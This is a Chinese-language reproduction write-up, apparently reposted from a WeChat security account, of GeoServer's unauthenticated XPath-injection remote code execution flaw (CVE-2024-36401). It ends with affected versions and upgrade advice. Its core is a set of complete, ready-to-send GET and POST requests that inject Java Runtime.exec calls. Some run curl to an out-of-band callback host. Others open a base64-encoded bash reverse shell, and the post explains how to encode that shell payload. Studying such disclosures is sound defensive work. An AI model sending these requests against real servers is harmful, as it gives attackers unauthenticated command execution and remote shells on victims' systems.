Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

admin 2024年7月4日22:20:22评论11 views字数 4281阅读14分16秒阅读模式
申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。

0x00 介绍

GeoServer 是一款基于 Java 的服务器,允许用户查看和编辑地理空间数据。GeoServer 使用开放地理空间联盟 (OGC)制定的开放标准,在地图创建和数据共享方面具有极大的灵活性。

通过实施Web 地图服务 (WMS)标准,GeoServer 可以创建多种输出格式的地图。GeoServer集成了免费地图库OpenLayers ,使地图生成变得快速而简单。GeoServer 建立在开源 Java GIS 工具包 GeoTools之上。

GeoServer 符合Web 要素服务 (WFS)标准和Web 覆盖服务 (WCS)标准,允许共享和编辑用于生成地图的数据。

0x01 漏洞概述

由于不安全地将属性名称评估为 XPath 表达式,多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 (RCE)

0x02 漏洞细节

GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库。GeoServer使用的xpath引擎是Apache Commons Jxpath,Jxpath在执行xpath表达式时支持调用Java中的方法,如果用户控制了xpath表达式,可以直接执行任意代码造成RCE漏洞。关于Apache Commons Jxpath的这个RCE漏洞可参考:https://tttang.com/archive/1771/

官方通告中描述说“可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞”。

实际上涉及到两个漏洞:CVE-2024-36401和CVE-2024-36404。CVE-2024-36401是未授权用户通过OGC请求控制了复杂的xpath表达式,CVE-2024-36404则是xpath表达式中存在代码执行。所以,实际上两个漏洞串起来造成了最后的RCE。

0x03 漏洞复现

1.环境搭建

在macOS上使用PD自带的ubuntu(x86_64 emulation)拉取vulhub镜像https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401复现失败:

Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

这可能是由于架构问题导致。于是自己搭建环境。

下载sourceforge上使用较多的2.23.2版本:

https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.2/geoserver-2.23.2-bin.zip/download

解压并运行startup.sh即可:

unzipgeoserver-2.23.2-bin.zip -d geoservercdgeoserver/bin./startup.sh

访问http://10.211.55.3:8080/geoserver

Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

2.POC 复现

GET请求方式:

GET/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'curl%20gvfwdu6wfrqflq0rw3uk9d1v8mec21.oastify.com') HTTP/1.1Host: 10.211.55.3:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0Content-Length: 4

DNSLog上收到请求:

Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

POST请求方式:

POST/geoserver/wfs HTTP/1.1Host: your-ip:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/xmlContent-Length: 356
<wfs:GetPropertyValueservice='WFS'version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'><wfs:QuerytypeNames='sf:archsites'/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl 1ce3i25gtskpoeleva6yaxfl2c82wr.oastify.com')</wfs:valueReference></wfs:GetPropertyValue>

DNSLog上收到请求:

Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

3.GetShell

GET请求方式:

GET/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash%20-c%20{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMTEuNTUuNi8xMjM0IDA%2bJjE%3d}|{base64,-d}|{bash,-i}') HTTP/1.1Host: 10.211.55.3:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0Content-Length: 4

获取权限:

Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

POST请求方式:

POST/geoserver/wfs HTTP/1.1Host: 10.211.55.3:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/xmlContent-Length: 438
<wfs:GetPropertyValueservice='WFS'version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'><wfs:QuerytypeNames='sf:archsites'/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference></wfs:GetPropertyValue>

获取权限:

Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

注意:linux反弹shell原payload为 bash -i >& /dev/tcp/ip/port 0>&1 网络传输时需要进行base64编码,GET方式利用时base64编码后还需要再进行url编码

0x04 影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

0x05 修复和缓解

官方已发布修复版本,建议受影响用户升级至最新版本:

GeoServer 2.23.* >= 2.23.6

GeoServer 2.24.* >= 2.24.4

GeoServer 2.25.* >= 2.25.2

缓解措施详见:https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv

如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日22:20:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)https://cn-sec.com/archives/2920486.html

发表评论

匿名网友 填写信息